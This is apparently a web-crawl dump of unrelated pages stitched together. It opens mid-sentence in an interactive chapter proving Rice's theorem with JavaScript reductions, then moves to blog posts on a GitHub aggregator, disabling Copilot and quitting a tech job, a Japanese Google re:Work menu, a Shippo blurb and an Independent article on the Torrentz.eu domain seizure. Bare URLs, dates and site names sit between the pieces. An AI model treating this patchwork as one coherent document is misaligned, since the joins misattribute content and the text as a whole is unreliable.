zero, so `halts` should return `false` . But in JavaScript floating-point numbers, it eventually gets to `5e-324 / 2` , which evaluates to zero, so `halts` should return `true` ! The point is: deciding whether code halts is *freaking hard*. And in Chapter 1, we learned Turing’s proof that `halts` is actually *impossible* to implement: any implementation you write will have a bug! So, isn’t `canBeRegex` impossible too? Put on your logician’s hat: what would we need to do to prove that `canBeRegex` is impossible to write? No, but this is a common mistake! If you implement `canBeRegex` using `halts` , you’re just showing that your *implementation* can’t exist. Perhaps there’s a cleverer way to implement `canBeRegex` that doesn’t rely on using `halts` ! However, if you can implement `halts` using `canBeRegex` , you’ve got a strong argument that `canBeRegex` can’t exist. Let’s see how. Right! If you implement `halts` using `canBeRegex` , you’ve got a proof by contradiction that `canBeRegex` can’t exist. So, here’s an idea for implementing `halts` using `canBeRegex` : ``` function halts(code: string) { return canBeRegex(` function isLen3(s: string) { ${code} return s.length === 3; } `); } ``` Take your time and read it closely! We take our function `isLen3` , which we know can be replaced with a regex. Then we *inject* the `code` at the top of that function. Finally, we ask whether the function can still be replaced with a regex after this change. Does this really solve the halting problem? Let’s check. First, assume that `code` *does* halt. Now read the above `halts(code)` : what will it return? Now assume that `code` does *not *halt. Then what will the above `halts(code)` return? So this does solve the halting problem. But we know that’s impossible! We have a contradiction, so our initial assumption must be false. That is, `canBeRegex` cannot exist! This trick is the core idea of Rice’s theorem. ## Code isolation Now for a short interlude. Sharp-eyed readers might wonder whether the injected `${code}` can “escape its sandbox”. Here’s a tricky example: `halts(`throw new Error("escape");`)` The code `throw new Error("escape")` would halt with an error. But what would `halts` return, if we use the above implementation? I think it would return `false` , because the following function cannot be replaced by a regex: ``` function (str: string) { throw new Error("escape"); return str.length === 3; } ``` The bug is that raw string injection like `${code}` does not isolate the code. So, when we write `${code}` , think of this as a shorthand for running the code in an isolated sandbox, like this one. `canHalt` : maybe an easier question? So, we showed that we can’t implement `canBeRegex` , because a regular expression always halts, and we can’t tell whether a function halts. But perhaps you’re thinking: “A regular expression always halts. So implementing `canBeRegex` is actually *even harder* than solving the halting problem. This is not so surprising.” Well, let’s consider a new property, `canHalt` . Given a function’s source code, it tells us whether there is at least one argument that causes the function to halt. For example, what should this return? ``` canHalt(`function (n: number) { if (isPrime(n) && isEven(n)) return; while (true); }`) ``` Right, the input `2` would cause this function to halt, because 2 is a prime number and an even number. I apologize! This was a bit tricksy! There’s one input that would cause this function to halt: the input `2` , because 2 is both a prime number and an even number! Now, this `canHalt` property does not imply the function *always* halts. So does Rice’s argument still work to show that `canHalt` cannot be written? Let’s try running it through the proof anyway! Assume we have `canHalt` , and then write: ``` function halts(code: string) { const t = `function ret42() { ${code} return 42; }`; return canHalt(t); } ``` Check this implementation of `halts` ! If `code` halts, it should return `true` , and if `code` does not halt, it should return `false` . So, does it correctly solve the halting problem? I think it *does *solve the halting problem, and here’s why. First, assume `code` halts. Then we’re effectively asking whether this function can halt: ``` function ret42() { return 42; } ``` It certainly can halt (it *always* does), so `halts` would return `true` here. Then assume `code` does *not* halt. Then it transforms `ret42` into the `loop` function, which cannot halt, so `halts` would return `false` here. Either way, `halts` returns the correct answer, so it does solve the halting problem. So, similarly, `canHalt` is also impossible to implement! Here’s how we were able to prove it. We have two functions, `loop` and `ret42` : ``` // does NOT satisfy canHalt function loop (x) { while (true); } // DOES satisfy canHalt function ret42 (x) { return 42; } ``` By injecting the `code` at the top of the `ret42` function, it either • transforms it into the `loop` function (if `code` does *not *halt), or • leaves it unmodified (if `code` *does *halt). We then use `canHalt` to distinguish whether the injected `code` transformed the `ret42` function into `loop` , or left it alone. And this tells us whether `code` halts. ## Final boss: `numHaltsIsEven` Let’s try an even trickier function property: `numHaltsIsEven` . This considers how many distinct values you can pass to the function that would cause it to halt. It then returns `true` if that number is even. As before, let’s write a function that will satisfy the property: ``` function haltIf4Or8(n: number) { if (n === 4 || n === 8) return; while (true) { } } ``` How many distinct values of `n` will cause `haltIf4Or8` to halt? There are exactly two values, `4` and `8` , that cause this function to halt. And two is an even number, so this function should satisfy `numHaltsIsEven` . Now let’s use our standard trick, and try to solve the halting problem by injecting the `code` at the start of `haltIf4Or8` : ``` function halts(code: string) { const t = `function haltIf4Or8(n) { ${code} if (n === 4 || n === 8) return; while (true) { } }`; return numHaltsIsEven(t); } ``` Use the same “proof-by-cases” technique, first assuming `code` halts, then assuming it doesn’t. Does the above solve the halting problem? Actually, it doesn’t! Let’s check both cases. If `code` halts, then `halts` returns `true` , which is all good and correct. But if `code` does not halt, what happens? Then the function analyzed by `numHaltsIsEven` is equivalent to the `loop` function. So, does the `loop` function have an even number of inputs that cause it to halt? Yes: it has zero inputs that cause it to halt, and zero is an even number! So in this case, `halts` also returns `true` , which is incorrect! Indeed! This version of `halts` always returns `true` ! The cause is that the `loop` function has zero distinct inputs that cause it to halt, and zero is an even number. But this is fixable. We just need to construct a function that does *not* satisfy `numHaltsIsEven` . Which of these will do the job? ``` function haltIf3Or7(n: number) { if (n === 3 || n === 7) return; while (true) { } } function haltIf3(n: number) { if (n === 3) return; while (true) { } } ``` No, `haltIf3Or7` also has an even number of inputs that cause it to halt. So it also satisfies `numHaltsIsEven` . But we’re looking for a function that does *not* satisfy `numHaltsIsEven` . The function `haltIf3` has one input that causes it to halt, namely the input `3` . One is not considered even, so this function does not satisfy `numHaltsIsEven` . Right! `haltIf3` has one input that causes it to halt, namely the input `3` . One is not considered even, so this function does not satisfy `numHaltsIsEven` . Second time lucky: let’s try again to implement `halts` , by injecting the `code` into `haltIf3` , then inverting the final result with `!` : ``` function halts(code: string) { const t = `function haltIf3(n) { ${code} if (n === 3) return; while (true) { } }`; return !numHaltsIsEven(t); } ``` If you check it, you should find that this correctly solves the halting problem — thus proving that `numHaltsIsEven` cannot exist! ## Now for an any property P Finally, you’re prepared to see Rice’s trick in its full generality. We’re given any function property P, like “can be a regex” or “number of halting inputs is even”. We want to show that a function `isP` cannot be written. **Rice’s trick** Assume, by contradiction, that `isP` exists. We will find some function `t` , and then inject `code` at the top of it. If the `loop` function does *not* satisfy P, we set `t` to a function that *does* satisfy P; otherwise, we set `t` to a function that does *not* satisfy P. We then test whether some arbitrary `code` halts, by asking `isP` : “would injecting `code` at the top of `t` convert it into the `loop` function?” But this answers the halting problem, so `isP` cannot exist! Well ... almost. Henry Rice says there are two properties of P that make this trick work: first, P must be a **semantic **property, and second, it must be a **non-trivial** property. Let’s see what they mean. ## Too many variables Perhaps you’ve seen IDE warnings like: “Function `f` has more than 20 variables. Consider splitting into smaller functions.” But that sounds like a property of functions! Didn’t we just see those are impossible to decide? Can we really write a function `hasMoreThan20Vars` that takes a function string and tells us whether it has more than 20 variables? Sure we can! It reads through the source code, and counts every `const x` , `var y` , et cetera. No problem here! So, what’s different about this property? To see, let’s assume we have `hasMoreThan20Vars` , and try out Rice’s trick: ``` function halts(code: string) { const t = `function lotsOfVars(n) { ${code} const a,b,c,d,e,f,g,h,i,j,k,l,m,n, o,p,q,r,s,t,u,v,w,x,y,z; return; }`; return hasMoreThan20Vars(t); } ``` Use the usual proof-by-cases: does this solve the halting problem? The function `lotsOfVars` starts with 26 variables, so it satisfies `hasMoreThan20Vars` . Injecting some `code` at the top doesn’t make any difference to that. It doesn’t tell us anything about whether `code` halts. When Mr. Rice says P must be **semantic**, he means it must be solely concerned with the input and output of the function when called. That is: if two functions have the same input-output, then P cannot be true of one, and false of the other. Let’s see a couple of example properties. Consider a property `returnsInput` , which tells us whether a function returns its own argument. For examples ``` // satisfies `returnsInput` function id(x) { return x; } // does not satisfy `returnsInput` function increment(x) { return x+1; } ``` Is the property `returnsInput` semantic? I think it’s semantic. The property can be decided by only looking at the input-output table, e.g. `1 -> 1` , `"foo" -> "foo"` , etc. *(Bonus exercise: consider the property *`returnsOwnSourceCode` *, which tells us whether a function will **return its own source code**. Is *`returnsOwnSourceCode` * a semantic property? Will Rice’s trick work on it? Answers on a postcard!)* ## Solving the halting problem is trivial?! The final property we’ll consider today is called `solvesHaltingProblem` . Given a function’s source code, it tells us whether that function solves the halting problem — that is, whether it’s a correct implementation of `halts` . As always, let’s try to run Rice’s proof. First: does the `loop` function satisfy `solvesHaltingProblem` ? It does not! The `loop` function never terminates, let alone with a correct answer. So, next, we must set `t` to a function that *does* satisfy `solvesHaltingProblem` . Can you find one? Really?! If you can find such a `t` , please email it to me, because you’ve solved the halting problem! The problem is, there is no such function — Turing taught us this. And so we can’t proceed with Rice’s proof. If there are no functions that satisfy the property P, then we can’t use `isP` to decide anything, because it always returns `false` . Similarly, if *every* function satisfies P, then we can’t use `isP` to decide anything, because it always returns `true` . This is what Rice means by **triviality.** The property P is trivial if all functions satisfy it, or if none do. To show that `isP` cannot be written, Rice’s proof requires that P is non-trivial: that it is satisfied by some, but not all, functions. ## Conclusion And this concludes the proof! Quoting Wikipedia: “Rice’s theorem states that all non-trivial semantic properties of programs are undecidable.” By now, you should understand what that theorem means, how to prove it, and why those “non-trivial semantic” qualifications are in there. In the next chapter, we’ll be exploring Kurt Gödel’s second incompleteness theorem, which shows that proof systems can’t prove their own consistency! Stay tuned! **This chapter is free this week — to read the rest of ****Busy Beavers**** and support me writing it, please buy the course! Or if you want to know when the next chapter comes out, ****sign up for updates here.**** You might also enjoy our course ****Everyday Data Science****, which uses similar interactive storytelling. Or if you’re feeling inspired, you can use ****TigYog**** to write your own course just like these ones!** ## Next in Busy Beavers!: # 8. Just how busy can a busy beaver be? Let’s play a game! We’ll write a JavaScript program of less than 10 characters that prints as much as possible before halting. Whoever’s program prints more is the busiest beaver, and they win the game. What’s the busiest program? Just how busy is it? How can we find it? In this chapter, we’ll have a crack at these questions, but fair warning: we might not get many answers.

Turing famously showed that computers can’t decide whether your code halts. But in 1951, Henry Rice proved a much more devastating result: “computers can’t decide anything interesting about your code’s input-output!” In this chapter, you’ll learn exactly what he meant, and how he proved it, by building on Turing’s famous theorem.

2024-10-12 00:00:00

2020-08-06 00:00:00

article

tigyog.app

TigYog

http://www.economist.com/research/articlesBySubject/displayStory.cfm?story_id=11877571

The computer says no

Technology Quarterly | Art forgeriesThe computer says noImage processing could help to identify artists by their brushstrokes Aug 5th 2008| ShareShareReuse this content

Image processing could help to identify artists by their brushstrokes

2024-10-12 00:00:00

2008-08-05 00:00:00

/engassets/og-fallback-image.png

Article

economist.com

The Economist

https://jaxcore.github.io/bumblebee-hotword/full-example/

BumbleBee Test

You need to enable JavaScript to run this app.

2024-10-12 00:00:00

2008-12-01 00:00:00

http://codescience.wordpress.com/2012/12/31/my-last-1-weekend-project-of-2012/

My last one weekend project of 2012

Jmgutn

In the last weekend of 2012 I wanted to build a project before the year ends. So last Friday 28/12 I started coding this new idea, a** github repos aggregator for open source projects**. Think in it as a hackernews-like site but for projects hosted on github. It was challenging to build an application in so short time, but recently I’ve participated on many hackathons where the development sprint is about **10/48 hs of non-stop coding**. So I’m kind of used to do this stuff now, and I like it! The good thing about one weekend projects is that you can keep the focus on one thing. Just one thing. As Unix philosophy says, **do just one thing but do it really well**, I think hackathon’s projects follow the same pattern. In a very short time you have to focus on solving one problem, but in a pretty new and amazing way. My new idea, hackersprojects aims to solve the fragmentation in the open source community by **providing developers a way to share, discover, vote, comment and contribute open source projects**. The site is pretty similar to hackers news and the algorithm used to rank trending projects was taken from this analysis on the hacker news ranking algorithm. The project is completely open source so you can take a look at the repo on https://github.com/jmg/hackersprojects and, why not, **send a pull request to contribute with something you may find useful.** It will be appreciated. The idea is to make this project grow with the community. Nothing less to say, just enjoy it! Right now it’s up and running since 9PM 31/12 UTC time. So I guess **I accomplished my goal, which was to have a first working implementation before the year ends.** Here is the link: http://www.hackersprojects.com/ Regards and happy new year of coding! I’m liking this one already. I was always looking for a way to follow what’s hot only on GH. Hey, thanks man! I’d love to make this grow and have a community behind telling to all of us what’s going on Github :).

In the last weekend of 2012 I wanted to build a project before the year ends. So last Friday 28/12 I started coding this new idea, a github repos aggregator for open source projects. Think in it as…

2024-10-12 00:00:00

2012-12-31 00:00:00

article

wordpress.com

Code Science

http://www.sfgate.com/cgi-bin/article.cgi?f=/n/a/2008/12/15/financial/f012531S14.DTL

https://blog.ignaciobrasca.com/programming/2024/05/14/autopilot.html

:Copilot disable

Ignacio Brasca

# :Copilot disable Last night, I was writing an abstract data type (a DAG, precisely) that I learned about back in college. I’ve been writing code for years, but it’s rare to encounter daily situations where abstract code like this is applicable (other than live-code sessions on interviews). Nevertheless, I decided to dive into the implementation from a theorical point of view, just to implement the algo later, just a fun experiment, only to realize I had almost forgotten how to do it. I felt like I knew how to proceed after reading the theory, so I went back to my editor. After a few minutes of typing and building the necessary scaffolding, I embarked on the task… I needed two things: a graph that supports a structure without cycles and a few intrinsic characteristics for the nodes that are work-domain related and I cannot disclose. Just for fun and the joy of recreational programming (inspired by tsoding), I decided to run: ``` :Copilot disable ``` Oh boy, what a mental ride after that… I’ve been riding the AI wave for quite some time, but I was concerned about switching to code-enhancing tools. Don’t ask me why, but I hesitated to use them. So, when I started using Copilot after a while they released it, I immediately felt the speed. At first, I didn’t know how to `drive` the tool, but after a few weeks, I got the hang of it: 1) write a signature, 2) explain in comments what you want, and 3) wait and modify the result to match your expectations. And so I did. Note: I’ve been coding since I was 9 years old, so I knew how to code. Additionally, Copilot felt right at first because it removed the bloated unnecessary stuff that I didn’t want to write in the first place. Going back to the DAG, I was stuck, blank. I threw down a few lines, wrote some logic test cases, and still, nothing. The urge to activate Copilot was huge, especially since I had two meetings on the horizon and needed to complete the task quickly. After a few minutes of whiteboarding, I got it. I returned to the code, wrote it, and spent the rest of the day feeling good because I `could` still program. However, a sense of bitterness lingered. Are we getting rusty in programming? Is Copilot good or bad for our industry? How can I know? I just wanted to have fun, but here I am, sacrificing all I learned for speed. I believe I’ll end up deactivating it for a while, as it makes our brains completely dependent and erases the muscle memory of coding after a few months of not using it for actual programming. I realized that coding isn’t just writing; it’s the act of thinking. With the speed of `Copilot` , you can’t even think of the solution before the output is there, ready for you to press `return` and move on. Go ahead. Try it out for yourself. ``` :Copilot disable ```

Programmers just wanna have fun

2024-10-12 00:00:00

2024-05-14 00:00:00

article

ignaciobrasca.com

Happiness Machines

https://rework.withgoogle.com/blog/riot-games-case-study-assessing-workplace-toxicity/

Google re:Work

## 読みたいテーマをお選びください ### イノベーションが生まれる職場環境をつくる イノベーションを ### デザイン思考でイノベーションを生み出す デザイン思考は、 イノベーション について詳しく読む テーマ別ページへ### 「効果的なチームとは何か」を知る Google の チーム について詳しく読む テーマ別ページへテーマ ### ピープルアナリティクス ピープル アナリティクスは、 ### 公正な給与制度を設計し運用する 公平な ### 従業員アンケートを実施する 適切な ピープル テーマ ### マネージャー マネージャーは ### 優れたマネージャーの要件を特定する 優れた ### 仕事の面だけでなく個人的な面でもチームに配慮する チームメンバーの マネージャー について詳しく読む テーマ別ページへテーマ ### 偏見の排除 無意識を ### 無意識の偏見に意識を向ける 無意識の ### 何気ないメッセージに潜む偏見を見直す 最初に 偏見の ### 従業員間での学習プログラムを導入する 学習する 学習と ### 構造化面接を実施する 応募者に ### 有意義な応募者体験を提供する 採用プロセスを 採用 について詳しく読む テーマ別ページへ

「働く」をもっと良いものに。グーグルをはじめとするさまざまな組織の働き方の先進事例、研究、アイデアを集めました。ダイバーシティ・女性活躍・働き方改革施策に役立つヒントをご紹介します。

2024-10-12 00:00:00

website

withgoogle.com

rework.withgoogle.com

https://goshippo.com/blog/evolution-our-pagerduty-playbook-fewer-alerts-more-uptime/

E-commerce Shipping Blog | Shippo

Not Another Corporate Blog—Only The BestE-commerce Insights. Delivered On Time. Everything you need for professional-grade shipping + deep discounts from top carriers.

Get the latest news from USPS, FedEx, UPS, DHL, and more carriers, plus access shipping tips, e-commerce best practices, and advice for retailers and e-commerce businesses of all sizes.

2024-10-12 00:00:00

2024-10-10 00:00:00

website

goshippo.com

Shippo

https://eev.ee/blog/2016/06/12/one-year-later/

fuzzy notepad

Eevee in

A year ago today was my last day working a tech job. ## What I didn't do I think I spent the first few months in a bit of a daze. I have a bad habit of expecting worst case scenarios, so I was in a constant state of mild panic over whether I could really earn enough to support myself. Not particularly conducive to *doing things*. There was also a very striking change in… people scenery? Working for a tech company, even remotely, meant that I spent much of my time talking to a large group of tech-minded people who knew the context behind things I was working on. Even if they weren’t the things I wanted to be working on, I could at least complain about an obscure problem and expect to find someone who understood it. Suddenly, that was gone. I know some tech people, of course, and have some tech followers on Twitter, but those groups are much more heterogenous than a few dozen people all working on the same website. It was a little jarring. And yet, looking back, I suspect that feeling had been fading for some time. I’d been working on increasingly obscure projects for Yelp, which limited how much I could really talk to anyone about them. Towards the end I was put on a particularly thorny problem just because I was the only person who knew anything about it at all. I spent a few weeks hammering away at this thing that zero other people understood, that I barely understood myself, that I didn’t much enjoy doing, and that would ultimately just speed deployments up by a few minutes. Hm. When I left, I had a lot of ideas for the kinds of things I wanted to do with all this newfound free time. Most of them were “pure” programming ideas: design and implement a programming language, build a new kind of parser, build a replacement for IRC, or at least build a little IRC bot framework. I ended up doing… none of those! With more time to do things, rather than daydream restlessly about doing things, I discovered that building libraries and infrastructure is incredibly tedious and unrewarding. (For me, I mean. If that’s your jam, well, I’m glad it’s someone’s.) I drifted for a little while as I came to terms with this, trying to force myself to work on these grandiose dreams. Ultimately, I realized that I most enjoy programming when it’s a means to an end, when there’s a goal beyond “write some code to do this”. Hence my recent tilt towards game development, where the code is just one part of a larger whole. And, crucially, that larger whole is something that *everyone* can potentially enjoy. The difference has been night and day. I can tweet a screenshot of a *text adventure* and catch several people’s interest. On the other hand, a Python library for resizing images? Who cares? It’s not a complete *thing*; it’s a building block, a tool. At worst, no one ever uses it, and I have nothing to show for the time. Even at best, well… let’s just say the way programmers react to technical work is very different from the way everyone else reacts to creative work. I do still like building libraries on occasion, but my sights are much smaller now. I may pick up sanpera or dywypi again, for instance, but I think that’s largely because other people are already using them to do things. I don’t have much interest in devoting months to designing and building a programming language that only a handful of PLT nerds will even look at, when I could instead spend a day and a half making a Twitter bot that posts random noise and immediately have multiple people tell me it’s relaxing or interesting. In short, I’ve learned a lot about what’s important to me! Ah, yes, I also thought I would’ve written a book by now. I, uh, haven’t. Writing a book apparently takes a lot more long-term focus than I tend to have available. It also requires enough confidence in a single idea to write tens of thousands of words about it, and that doesn’t come easily either. I’ve taken a lot of notes, written a couple short drafts, and picked up a bit of TeX, so it’s still on the table, but I don’t expect any particular timeframe. ## What I did do Argh, this is going to overlap with my birthday posts. But: I **wrote** a whopping 43 blog posts, totalling just over 160,000 words. That’s two or three novels! Along the way, my Patreon has more than tripled to a level that’s, well, more reassuring. **Thank you so much**, everyone who’s contributed — I can’t imagine a better compliment than discovering that people are willing to directly pay me to keep writing and making whatever little strange things I want. I **drew** a hell of a lot. My progress has been documented elsewhere, but suffice to say, I’ve come a long way. I also expanded into a few new media over this past year: watercolors, pixel art, and even a teeny bit of animation. I made some **games**. The release of Mario Maker was a really nice start — I could play around with level design ideas inside a world with established gameplay and let other people play them fairly easily. Less seriously, I made Don’t Eat the Cactus, which was microscopic but ended up entertaining a surprising number of people — that’s made me rethink my notions of what a game even needs to *be*. I made a Doom level, and released it, for the first time. Most recently, of course, Mel and I made Under Construction, a fully-fledged little pixel game. I’ve really enjoyed this so far, and I have several more small things going at the moment. The elephant in the room is perhaps **Runed Awakening**, the text adventure I started almost two years ago. It was supposed to be a small first game, but it’s spiraled a little bit out of hand. Perhaps I underestimated text adventures. A year ago, I wasn’t really sure where the game was going, and the ending was vague and unsatisfying; now there’s a clear ending, a rough flow through the game, and most importantly enough ideas to see it through from here. I’ve rearchitected the entire world, added a few major NPCs, added core mechanics, added scoring, added a little reward for replaying, added several major areas, implemented some significant puzzles, and even made an effort to illustrate it. There’s still quite a lot of work left, but I enjoy working on it and I’m excited about the prospect of releasing it. I did more work on **SLADE** while messing around with Doom modding, most notably adding support for ZDoom’s myriad kinds of slopes. I tracked down and fixed *a lot* of bugs with editing geometry, which is a really interesting exercise and a challenging problem, and I’ve fixed dozens of little papercuts. I’ve got a few major things in progress still: support for 3D floors is maybe 70% done, support for lock types is about 70% done. Oh, yes, and I started on a static analyzer for scripts, which is a fantastic intersection of “pure programming” and “something practical that people could make use of”. That’s maybe 10% done and will take a hell of a lot of work, but boy would it be great to see. I improved **spline** (the software powering Floraverse) more than I’d realized: arbitrarily-nested folders, multiple media per “page”, and the revamped archives were all done this past year. I used the same library to make Mel a simple site, too. It’s still not something I would advise other people run, but I did put a modicum of effort into documenting it and cleaning up some general weirdness, and I made my own life easier by migrating everything to runit. **veekun** has languished for a while, but fear not, I’m still working on it. I wrote brand new code to dump (most of) RBY from scratch, using a YAML schema instead of a relational database, which has grown increasingly awkward to fit all of Pokémon’s special cases into. I still hope to revamp the site based on this idea in time for Sun and Moon. I also spent a little time modernizing the `pokedex` library itself, most notably making it work with Python 3. I wrote some **other code**, too. Camel was an idea I’d had for a while, and I just sat down and wrote it over the course of a couple days, and I’m glad I did. I rewrote PARTYMODE. I did another round of heteroglot. I fixed some bugs in ZDoom. I sped Quixe (a JavaScript interpreter for some text adventures) up by 10% across the board. I wrote some weird Twitter bots. I wrote a lot of one-off stuff for various practical purposes, some of it abandoned, some of it used once and thrown away. Is that a lot? It doesn’t even feel like a lot. I want to do just as much again by the end of the year. I guess we’ll see how that goes. ## Some things people said Not long after my original post made the rounds, I was contacted by a Vox editor who asked if I’d like to expand my post into an article. A *paid* article! I thought that sounded fantastic, and could even open the door to more paid writing. I spent most of a week on it. It went up with the title “I’m 28, I just quit my tech job, and I never want another job again” and a hero image of fists slamming a keyboard. I hadn’t been asked or told about either, and only found out by seeing the live page. I’d even given my own title; no idea what happened to that, or to the byline I wrote. I can’t imagine a more effective way to make me sound like a complete asshole. I barely remember how the article itself was phrased; I could swear I tried to adapt to a broader and less personal audience, but I guess I didn’t do a very good job, and I’m too embarrassed to go look at it now. I found out very quickly, via some heated Twitter responses, that it looks *even worse* without the context of “I wrote this in my blog and Vox approached me to publish it”. It hadn’t even occurred to me that people would assume writing an article for a news website had been *my* idea, but of course they would. Whoops. In the ensuing year, I’ve encountered one or two friends of friends who proactively blocked me just over that article. Hell, I’d block me too. I don’t think I want to do any more writing where I don’t have final editorial control. I bring this up because there have been some wildly differing reactions to what I wrote, and Vox had the most drastic divide. A lot of people were snarky or angry. But just as many people contacted me, often privately, to say they feel the same way and are hoping to quit their jobs in the future and wish me luck. It’s the money, right? You’re not supposed to talk about money, but I’m an idiot and keep doing it anyway. I don’t want anyone to feel bad. I tried, actively, not to say anything wildly insensitive, in both the original post and the Vox article. I know a lot of people hate their jobs, and I know most people can’t afford to quit. I wish everyone could. I’d love to see a world where everyone could do or learn or explore or make all the things they wanted. Unfortunately, my wishes have no bearing on how the system works. I suspect… people have expectations. The American Dream™ is to get a bunch of money, at which point you *win* and can be happy forever. I had a cushy well-paying job, and I wasn’t happy. That’s not how it’s supposed to work. Yet if anything, the money made me *more* unhappy, by keeping me around longer. People like to quip that money can’t buy happiness. I think that’s missing the point. Money can *remove sadness*, but only if that sadness is related to not having enough money. My problem was not having enough *time*. I was tremendously lucky to have stock options and to be able to pay off the house, but those things cancelled each other out. The money was finite, and I spent it all at once. Now it’s gone, and I still have bills, albeit fewer of them. I still need to earn income, or I’ll run out of money for buying food and internets. I make considerably less now. I’m also much, much happier. I don’t know why I feel the need to delve so deeply into this. The original post happened to hit lobste.rs a few days ago, and there were a couple “what a rich asshole” comments, which reminded me of all this. They were subtly weird to read, as though they were about an article from a slightly different parallel universe. I was reminded that many of the similar comments from a year ago had a similar feel to them. If you think I’m an asshole because I’ve acted like an asshole, well, that’s okay. I try not to, and I’ll try to be better next time, but sometimes I fuck up. If you think I’m an asshole because I pitched a whiny article to Vox about how one of the diamond lightbulbs in my Scrooge McDuck vault went out, damn. It bugs me a little to be judged as a caricature with little relation to what I’ve actually done. ## To the people who ask me for advice Here’s a more good comment: The first week was relaxing, productive, glorious. Then I passed the midpoint and saw the end of my freedom looming on the horizon. Gloom descended once more. I thought I was the only one, who felt like this. I see myself in everything [they] describe. I just don’t have the guts to try and sell my very own software as a full time thing. I like to liberally license everything I do, and I fucking hate advertising and will never put it on anything I control It’s almost as if that [person] is me, with a different name, and cuter website graphics. First of all, thank you! I have further increased the cuteness of my website graphics since this comment. I hope you enjoy. I’ve heard a lot of this over the past year. *A lot.* There are a shocking number of people in tech who hate being in tech, even though we all get paid in chests full of gold doubloons. A decent number of them also asked for my input. What should they do? Should they also quit? Should they switch careers? I would like to answer everyone, once and for all, by stressing that *I have no idea what I’m doing.* I don’t know anything. I’m not a renowned expert in job-quitting or anything. I left because, ultimately, I had to. I was utterly, utterly exhausted. I’d been agonizing over it for almost a *year* prior, but had stayed because I didn’t think I could pull it off. I was terrified of failure. Even after deciding to quit, I’d wanted to stay another six months and finish out the year. I left when I did because I was *deteriorating*. I hoped I could make it work, Mel told me I could make it work, and I had some four layers of backup plans. I still might’ve failed, and every backup plan might’ve failed. I didn’t. But I could’ve. I can’t tell you whether it’s a good decision to quit your job to backpack through Europe or write that screenplay you’ve always wanted to write. I could barely tell *myself* whether this was a good idea. I’m not sure I’d admit to it even now. I can’t decide your future for you. On the other hand… On the other hand, if you’re just looking for someone to tell you what you want to hear, what you’ve already decided… Well, let’s just say you’d know better than I would.

2024-10-12 00:00:00

2016-06-12 00:00:00

Eevee

http://judy.sourceforge.net/doc/10minutes.htm

http://www.independent.co.uk/life-style/gadgets-and-tech/news/largest-torrent-search-engine-torrentzeu-taken-down-by-uk-antipiracy-police-9435167.html

UK anti-piracy police take down torrent search engine

Andrew Griffin

# UK anti-piracy police take down largest torrent search engine Torrentz.eu Torrentz, which acts as a search engine for torrents rather than storing them, has had its domain seized by the Police Intellectual Property Crime Unit ### Your support helps us to tell the story This election is still a dead heat, according to most polls. In a fight with such wafer-thin margins, we need reporters on the ground talking to the people Trump and Harris are courting. Your support allows us to keep sending journalists to the story. The Independent is trusted by 27 million Americans from across the entire political spectrum every month. Unlike many other quality news outlets, we choose not to lock you out of our reporting and analysis with paywalls. But quality journalism must still be paid for.**Help us keep bring these critical stories to light. Your support makes all the difference.** The internet’s largest torrent search engine, Torrentz.eu, has been taken down in the latest attempt by UK police to curb illegal file sharing. The site’s domain was suspended by the registrar of its domain after a request from the UK’s Police Intellectual Property Crime Unit. Police have been sending warning letters to the sites for some time. It made a fresh round of requests last week, including to the registrar of Torrentz.eu, and the site was taken down from this morning. A similar site, FileCrop, has also been taken down, and others may follow. Torrentfreak, a website close to the community, reports that several allegedly infringing sites were contacted before the weekend. Many competitors have also been taken offline recently. Two of Torrentz.eu’s most significant peers — isoHunt and The Pirate Bay — have been taken down completely or blocked in many countries. Torrentz.eu acts as a search engine for torrents rather than storing the files itself, making the move unusual among police shutdowns. The site receives millions of visitors a day and is thought to be one of the largest torrent sites on the internet. Two alternative domains, registered in Switzerland and Montenegro, are still in use by the company. It is likely to be able to recover its domain or get it transferred to a new registrar, reported Torrentfreak. The police began to block websites rather than targeting individuals towards the end of last year, when it asked Internet Service Providers to block 21 sites that link to infringing material. Unlike that move — which meant that Torrentz.eu was already banned on many ISPs — the ban on the domain means that users will be unable to access the site through any ISP.

Torrentz, which acts as a search engine for torrents rather than storing them, has had its domain seized by the Police Intellectual Property Crime Unit

2024-10-12 00:00:00

2014-05-28 00:00:00

article

independent.co.uk

The Independent